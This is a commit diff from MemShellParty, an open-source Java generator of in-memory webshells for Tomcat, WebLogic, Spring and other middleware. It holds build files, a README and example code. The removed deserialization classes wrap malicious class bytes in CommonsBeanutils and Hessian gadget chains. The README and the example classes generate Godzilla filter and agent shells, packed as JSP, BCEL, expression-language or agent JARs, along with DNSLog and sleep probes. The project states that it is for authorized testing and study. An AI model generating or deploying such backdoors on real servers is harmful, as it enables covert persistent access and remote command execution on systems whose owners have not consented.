scm {
connection.set("scm:git:https://github.com/ReaJason/MemShellParty.git")
developerConnection.set("scm:git:ssh://github.com/ReaJason/MemShellParty.git")
url.set("https://github.com/ReaJason/MemShellParty")
}
}
}
-51
View File
@@ -1,51 +0,0 @@
version = project.getProperties().get("version") != "unspecified" ? version : '1.0.0'
allprojects {
if (it.name != 'bom') {
apply(plugin: 'java')
apply(plugin: 'idea')
apply(plugin: 'jacoco')
}
if (it.name != 'bom' && !it.name.startsWith("vul")) {
dependencies {
implementation platform(project(':bom'))
}
}
repositories {
mavenCentral()
}
}
idea {
module {
excludeDirs += file('src')
}
}
jacocoTestReport {
reports {
xml.required = true
csv.required = true
html.required = true
}
afterEvaluate {
executionData.from fileTree(rootDir) {
include '**/build/jacoco/**/*.exec'
}
sourceDirectories = files('generator/src/main/java')
classDirectories.from(
fileTree('generator/build/classes/java/main') {
excludes = [
'com/reajason/javaweb/memsell/**/godzilla/**',
'com/reajason/javaweb/memsell/**/injector/**',
'com/reajason/javaweb/memsell/**/command/**',
'com/reajason/javaweb/config/**'
]
}
)
}
}
+24
View File
@@ -0,0 +1,24 @@
plugins {
id("java")
id("idea")
}
idea {
module {
excludeDirs.add(file("src"))
}
}
version = "2.7.2"
tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral")
dependsOn(":packer:publishToMavenCentral")
dependsOn(":generator:publishToMavenCentral")
}
tasks.register("publishAllToMavenLocal") {
dependsOn(":memshell-party-common:publishToMavenLocal")
dependsOn(":packer:publishToMavenLocal")
dependsOn(":generator:publishToMavenLocal")
}
-27
View File
@@ -1,27 +0,0 @@
plugins {
id "io.freefair.lombok" version "8.11"
}
group = 'com.reajason.javaweb'
version = rootProject.version
java {
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
dependencies {
implementation 'net.bytebuddy:byte-buddy'
implementation 'commons-io:commons-io'
implementation 'org.apache.commons:commons-lang3'
implementation 'commons-codec:commons-codec'
implementation 'org.jetbrains:annotations'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
testImplementation "org.mockito:mockito-core"
}
test {
useJUnitPlatform()
}
File diff suppressed because one or more lines are too long
-28
View File
@@ -1,28 +0,0 @@
plugins {
id "io.freefair.lombok" version "8.11"
}
group = 'com.reajason.javaweb'
version = rootProject.version
dependencies {
implementation 'net.bytebuddy:byte-buddy'
implementation 'com.caucho:hessian:4.0.66'
implementation 'commons-beanutils:commons-beanutils:1.9.4'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
test {
useJUnitPlatform()
}
@@ -1,12 +0,0 @@
package com.reajason.javaweb.deserialize;
import lombok.Data;
/**
* @author ReaJason
* @since 2024/12/13
*/
@Data
public class DeserializeConfig {
private PayloadType payloadType;
}
@@ -1,24 +0,0 @@
package com.reajason.javaweb.deserialize;
import com.caucho.hessian.io.Hessian2Output;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class Hessian2DeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes, className);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(bos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(obj);
hessian2Output.close();
return bos.toByteArray();
}
}
@@ -1,24 +0,0 @@
package com.reajason.javaweb.deserialize;
import com.caucho.hessian.io.HessianOutput;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class HessianDeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes, className);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(bos);
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(obj);
hessianOutput.close();
return bos.toByteArray();
}
}
@@ -1,25 +0,0 @@
package com.reajason.javaweb.deserialize;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class JavaDeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.flush();
oos.close();
return baos.toByteArray();
}
}
@@ -1,28 +0,0 @@
package com.reajason.javaweb.deserialize;
/**
* @author ReaJason
* @since 2024/12/13
*/
public interface Payload {
/**
* 将恶意类字节流封装成序列化对象
*
* @param bytes 恶意类字节流
* @return 序列化对象
*/
default Object generate(byte[] bytes) {
throw new UnsupportedOperationException();
}
/**
* 将恶意类字节流封装成序列化对象
*
* @param bytes 恶意类字节流
* @param className 恶意类名
* @return 序列化对象
*/
default Object generate(byte[] bytes, String className) {
throw new UnsupportedOperationException();
}
}
@@ -1,44 +0,0 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
import lombok.Getter;
/**
* @author ReaJason
* @since 2024/12/13
*/
@Getter
public enum PayloadType {
/**
* CB 链
*/
CommonsBeanutils16(new CommonsBeanutils16()),
CommonsBeanutils18(new CommonsBeanutils18()),
CommonsBeanutils19(new CommonsBeanutils19()),
CommonsBeanutils110(new CommonsBeanutils110()),
/**
* Hessian XSLT write
*/
XSLTScriptEngine(new XSLTScriptEngine())
;
private final Payload payload;
PayloadType(Payload payload) {
this.payload = payload;
}
public static PayloadType getPayloadType(String payloadType) {
for (PayloadType value : values()) {
if (value.name().equals(payloadType)) {
return value;
}
}
throw new IllegalArgumentException("unknown payload type: " + payloadType);
}
}
+379
View File
@@ -0,0 +1,379 @@
<h1 align="center">MemShellParty</h1>
<p align="center">English | <a href="../README.md">中文</a><br></p>
<div align="center">
[![ci-test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test%20CI&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
[![ci-release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release%20CD&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
</div>
<div align="center">
[![release](https://img.shields.io/github/v/release/reajason/memshellparty?label=Release&style=flat-square)](https://github.com/ReaJason/MemShellParty/releases)
[![MavenCentral](https://img.shields.io/maven-central/v/io.github.reajason/generator?label=MavenCentral&style=flat-square)](https://central.sonatype.com/artifact/io.github.reajason/generator)
[![docker-pulls](https://img.shields.io/docker/pulls/reajason/memshell-party?label=DockerHub%20Pulls&style=flat-square)](https://hub.docker.com/r/reajason/memshell-party)
</div>
<div align="center">
[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news)
</div>
> [!WARNING]
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing purposes. Using this tool for any unauthorized network attacks or penetration testing activities is illegal, and users are solely responsible for any resulting legal consequences.
> [!TIP]
> As I primarily focus on security product development and lack extensive real-world combat experience, please feel free to raise an issue or join the [Telegram group](https://t.me/memshell) if you have questions about usage, implementation, or adaptation requests. Let's learn and exchange ideas together!
MemShellParty is a self-hosted, visual platform for one-click generation of java memshell for common middleware and frameworks. It also aims to be a comprehensive learning platform for java memshell. In an era full of wheels, it's time to build the car and accelerate together!
What you can learn or try from this project:
1. Learn to write java memshell for common middleware and frameworks.
2. Learn to use [Testcontainers](https://testcontainers.com/) for Java application integration testing.
3. Learn to use GitHub Actions for CI/CD, write CHANGELOG, and automate Release publications via CI.
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
![normal_generator](../assets/normal_generator.png)
![agent_generator](../assets/agent_generator.png)
## Key Features
- Non-Intrusive: Generated memshell do not interfere with the normal traffic of the target middleware, even when multiple different shells are injected simultaneously.
- High Availability: Comes with comprehensive [CI integration tests](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
- Minimal Size: Strives to minimize memshell size for efficient transfer.
- Strong Compatibility: Covers common middleware and frameworks encountered in offensive and defensive scenarios.
## Quick Start
### Online Preview
> Suitable for users who just want to try it out. Please use with caution on public services, as generated memshell might potentially contain backdoors if the service is compromised.
Access directly at [https://party.memshell.news](https://party.memshell.news). The latest image is automatically deployed with each release.
### Local Deployment (Recommended)
> Ideal for quick deployment on internal networks or local machines. Using Docker is fast and convenient.
After deploying with Docker, access the service at http://127.0.0.1:8080
```bash
# Pull the latest image from Docker Hub
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
# Pull the latest image from Github Container Registry
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
# If network quality is poor, use the Nanjing University Github Container Registry mirror
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
```
The image is stateless. To update to the latest version, simply remove the old container and create a new one:
```bash
# Remove the previously deployed container
docker rm -f memshell-party
# Use the previous deployment command to redeploy (it will automatically pull the latest image)
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
```
### SDK Integration into Existing Tools
> Suitable for integrating memshell payload generation into your existing tools. Supports JDK 8 and above (since v1.7.0).
1. Add the dependency using Maven or Gradle:
```xml
<!-- Maven Repo-->
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId>
<version>1.7.0</version>
</dependency>
```
```groovy
// Gradle Repo
implementation 'io.github.reajason:generator:1.7.0'
```
2. Example1: Generate a Tomcat Godzilla Filter memory shell:
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.FILTER)
.shrink(true) // Shrink bytecode size
.debug(false) // Disable debug mode
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // Custom urlPattern, defaults to /*
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("Injector Class Name: "+result.getInjectorClassName());
System.out.println("MemShell Class Name: "+result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
System.out.println("Base64 Packed: "+Packers.Base64.getInstance().pack(result));
System.out.println("ScriptEngine Packed: "+Packers.ScriptEngine.getInstance().pack(result));
```
3. Example2: Generate a Tomcat Godzilla AgentFilterChain memory shell (Agent type):
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.AGENT_FILTER_CHAIN)
.shrink(true) // Shrink bytecode size
.debug(false) // Disable debug mode
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // Custom urlPattern, defaults to /*
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("Injector Class Name: " + result.getInjectorClassName());
System.out.println("MemShell Class Name: " + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
Files.write(Paths.get("agent.jar"), agentJarBytes);
```
4. For a unified generation interface example, refer to [GeneratorController.java](../boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
## Compatibility
Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
### Middleware and Frameworks
| Tomcat5 ~ 11 | Jetty6 ~ 11 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------------|------------------------|----------------------|----------------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| ProxyValve | | | |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |
| JBossAS4 ~ 7 | JBossEAP6 ~ 7 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------|
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| ProxyValve | | | |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
| WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|-----------------------|-------------------------|
| Servlet | Servlet |
| Filter | Filter |
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 8 | InforSuite AS 9 ~ 10 |
|----------------------|----------------------|------------------------|
| Filter | Filter | Filter |
| Listener | Listener | Listener |
| Valve | Valve | Valve |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
| Apusic AS 9 ~ 10 | Primeton6.5 |
|---------------------|----------------------|
| Servlet | Filter |
| Filter | Listener |
| Listener | Valve |
| FilterChain - Agent | FilterChain - Agent |
| | ContextValve - Agent |
### MemShell Functionality
- [x] [Godzilla](https://github.com/BeichenDream/Godzilla)
- [x] [Behinder](https://github.com/rebeyond/Behinder)
- [x] Command Execution
- [x] [Suo5](https://github.com/zema1/suo5)
- [x] [AntSword](https://github.com/AntSwordProject/antSword)
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
- [x] Custom
### Packaging Methods
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] Built-in ScriptEngine, Rhino ScriptEngine
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] Native DeserializationCB and CC
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian, Hessian2 Deserialization (XSLT gadget chain)
- [ ] JNDI
- [ ] JDBC Connection
- [ ] Other common deserialization
## Local Build
### Building from Source Code
> Suitable for developers who want to modify the code. Clone the repository locally and build the frontend and backend projects.
First, you need to download and install [bun](https://bun.sh/), a tool for building the frontend service.
1. Clone the project using Git:
```bash
git clone https://github.com/ReaJason/MemShellParty.git
```
2. Build the frontend project. After the build finishes, static resources will be automatically moved to the Spring Boot module.
```bash
cd MemShellParty/web
bun install
bun run build
```
3. Build the backend project. Ensure you are using a JDK 17 environment.
```bash
cd MemShellParty/boot
./gradlew :boot:bootjar -x test
```
After building, you can directly run the JAR file located at `MemShellParty/boot/build/libs/boot-*.jar` (the exact version might vary).
```bash
cd MemShellParty/boot
java -jar \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
build/libs/boot-1.0.0.jar
```
Alternatively, you can build a Docker container from the built artifacts:
```bash
cd MemShellParty/boot
docker buildx build -t memshell-party:latest . --load
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
```
### Building with Dockerfile Directly
> Suitable for users who want to build with custom access paths, for example, when using NGINX as a reverse proxy ([#44](https://github.com/ReaJason/MemShellParty/issues/44)).
Download the [Dockerfile](../Dockerfile) from the project root.
- VERSION: Version information (arbitrary, suggest using the latest tag; used for frontend display).
- ROUTE_ROOT_PATH: Frontend root route configuration (e.g., /memshell-party).
- CONTEXT_PATH: Backend access prefix (e.g., /memshell-party).
```bash
# Basic build (defaults to root path "/")
docker buildx build \
--build-arg VERSION=1.7.0 \
-t memshell-party:latest . --load
# Run the basic image, access at http://127.0.0.1:8080
docker run -it -d -p 8080:8080 memshell-party:latest
# Build with custom access path (e.g., /memshell-party)
docker buildx build \
--build-arg VERSION=1.7.0 \
--build-arg ROUTE_ROOT_PATH=/memshell-party \
--build-arg CONTEXT_PATH=/memshell-party \
-t memshell-party:latest . --load
# Run the custom path image, access at http://127.0.0.1:8080/memshell-party
docker run -it -p 8080:8080 \
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
memshell-party:latest
```
If you need to use NGINX as a reverse proxy, first build the container with a custom access path. Then configure NGINX similar to the following:
Ensure that the `location /memshell-party``ROUTE_ROOT_PATH=/memshell-party``CONTEXT_PATH=/memshell-party` and
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` all use the same path.
```text
location /memshell-party {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-By $server_addr:$server_port;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_http_version 1.1;
proxy_connect_timeout 3s;
proxy_read_timeout 300s;
proxy_send_timeout 300s;
proxy_buffer_size 16k;
proxy_buffers 8 64k;
proxy_busy_buffers_size 128k;
}
```
## Contribute
> Any feedback or issue discussion you provide is a contribution to this project.
> It will be so nice if you want to contribute. 🎉
1. If you have strong Docker environment building skills, consider adding integration test cases related to specific CVEs.
2. If you are skilled in writing memory shells, try adding support for a new type or target.
3. If you have extensive practical experience, feel free to open issues with suggestions or improvements.
For project structure, build processes, and compilation details, please refer to [CONTRIBUTING.md](../CONTRIBUTING.md)。
## Thanks
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
### Let's start the party 🎉
@@ -0,0 +1,44 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.reajason.javaweb.maven</groupId>
<artifactId>memshell-party-maven-example</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId>
<version>2.0.0</version>
</dependency>
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>packer</artifactId>
<version>2.0.0</version>
</dependency>
</dependencies>
<!-- 使用 SNAPSHOT 版本,才需要下面这块 -->
<repositories>
<repository>
<name>Central Portal Snapshots</name>
<id>central-portal-snapshots</id>
<url>https://central.sonatype.com/repository/maven-snapshots/</url>
<releases>
<enabled>false</enabled>
</releases>
<snapshots>
<enabled>true</enabled>
</snapshots>
</repository>
</repositories>
</project>
@@ -0,0 +1,32 @@
package com.reajason.javaweb;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod;
import com.reajason.javaweb.probe.ProbeShellGenerator;
import com.reajason.javaweb.probe.ProbeShellResult;
import com.reajason.javaweb.probe.config.DnsLogConfig;
import com.reajason.javaweb.probe.config.ProbeConfig;
/**
* @author ReaJason
* @since 2025/8/13
*/
public class DnsLogProbe {
public static void main(String[] args) {
ProbeConfig probeConfig = ProbeConfig.builder()
.probeMethod(ProbeMethod.DNSLog)
.probeContent(ProbeContent.Server) // 暂只支持 Server 和 JDK
.shrink(true)
.debug(false)
.build();
DnsLogConfig dnsLogConfig = DnsLogConfig.builder()
.host("xxx.dns.log")
.build();
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, dnsLogConfig);
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
}
}
@@ -0,0 +1,50 @@
package com.reajason.javaweb;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers;
import static com.reajason.javaweb.Server.Tomcat;
/**
* @author ReaJason
* @since 2025/4/6
*/
public class Godzilla {
public static void main(String[] args) {
ShellConfig shellConfig = ShellConfig.builder()
.server(Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.FILTER)
.shrink(true) // 缩小字节码
.debug(false) // 关闭调试
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:" + result.getInjectorClassName());
System.out.println("内存马类名:" + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
}
}
@@ -0,0 +1,57 @@
package com.reajason.javaweb;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.jar.JarPacker;
import java.nio.file.Files;
import java.nio.file.Paths;
import static com.reajason.javaweb.Server.Tomcat;
/**
* @author ReaJason
* @since 2025/4/6
*/
public class GodzillaAgent {
public static void main(String[] args) throws Exception {
ShellConfig shellConfig = ShellConfig.builder()
.server(Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.AGENT_FILTER_CHAIN)
.shrink(true) // 缩小字节码
.debug(false) // 关闭调试
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:" + result.getInjectorClassName());
System.out.println("内存马类名:" + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result.toJarPackerConfig());
Files.write(Paths.get("agent.jar"), agentJarBytes);
}
}
@@ -0,0 +1,35 @@
package com.reajason.javaweb;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod;
import com.reajason.javaweb.probe.ProbeShellGenerator;
import com.reajason.javaweb.probe.ProbeShellResult;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
import static com.reajason.javaweb.Server.Tomcat;
/**
* @author ReaJason
* @since 2025/8/13
*/
public class ResponseBodyProbe {
public static void main(String[] args) {
ProbeConfig probeConfig = ProbeConfig.builder()
.probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.Command)
.shrink(true)
.debug(false)
.build();
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
.server(Tomcat)
.reqHeaderName("X-Echo")
.build();
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod;
import com.reajason.javaweb.probe.ProbeShellGenerator;
import com.reajason.javaweb.probe.ProbeShellResult;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.SleepConfig;
import static com.reajason.javaweb.Server.Tomcat;
/**
* @author ReaJason
* @since 2025/8/13
*/
public class SleepProbe {
public static void main(String[] args) {
ProbeConfig probeConfig = ProbeConfig.builder()
.probeMethod(ProbeMethod.Sleep)
.probeContent(ProbeContent.Server) // 暂只支持 Server
.shrink(true)
.debug(false)
.build();
SleepConfig sleepConfig = SleepConfig.builder()
.server(Tomcat)
.seconds(5).build();
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, sleepConfig);
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
}
}
-51
View File
@@ -1,51 +0,0 @@
plugins {
id "io.freefair.lombok" version "8.11"
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
group = 'com.reajason.javaweb.memsell'
version = rootProject.version
test {
useJUnitPlatform()
finalizedBy jacocoTestReport
}
dependencies {
implementation project(":common")
implementation project(":deserialize")
implementation project(":memshell")
implementation project(":memshell-java8")
implementation 'net.bytebuddy:byte-buddy'
implementation 'javax.servlet:javax.servlet-api'
implementation 'javax.websocket:javax.websocket-api'
implementation 'jakarta.servlet:jakarta.servlet-api'
// implementation 'xalan:xalan'
implementation 'org.apache.bcel:bcel'
implementation 'commons-io:commons-io'
implementation 'org.apache.commons:commons-lang3'
implementation 'commons-codec:commons-codec'
implementation 'com.squareup.okhttp3:okhttp'
implementation 'ch.qos.logback:logback-classic'
implementation 'com.alibaba.fastjson2:fastjson2'
// implementation 'org.java-websocket:Java-WebSocket'
implementation 'org.springframework:spring-webmvc'
implementation 'org.springframework:spring-webflux'
implementation 'io.projectreactor.netty:reactor-netty-core'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
testImplementation "org.mockito:mockito-core"
}
+51
View File
@@ -0,0 +1,51 @@
plugins {
id("java-library")
alias(libs.plugins.lombok)
id("maven-publish-convention")
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
group = "io.github.reajason"
description = "MemShell Generator for Java"
version = rootProject.version
tasks.compileTestJava {
javaCompiler.set(javaToolchains.compilerFor {
languageVersion.set(JavaLanguageVersion.of(17))
})
}
tasks.test {
useJUnitPlatform()
}
dependencies {
implementation(project(":memshell-party-common"))
implementation(project(":packer"))
api(libs.byte.buddy)
implementation(libs.asm.commons)
implementation(libs.javax.websocket.api)
implementation(libs.jakarta.websocket.client.api)
implementation(libs.javax.servlet.api)
implementation(libs.jakarta.servlet.api)
implementation(libs.spring.webmvc)
implementation(libs.spring.webflux)
implementation(libs.tomcat.embed.core)
implementation(libs.reactor.netty.core)
implementation(libs.alibaba.dubbo)
implementation(libs.apache.dubbo)
implementation(libs.jackson.annotations)
implementation(libs.bundles.jna)
testImplementation(libs.junit.jupiter)
testImplementation(libs.hamcrest)
testRuntimeOnly(libs.junit.platform.launcher)
testImplementation(libs.bundles.mockito)
}
@@ -0,0 +1,15 @@
package com.reajason.javaweb;
/**
* @author ReaJason
* @since 2025/7/21
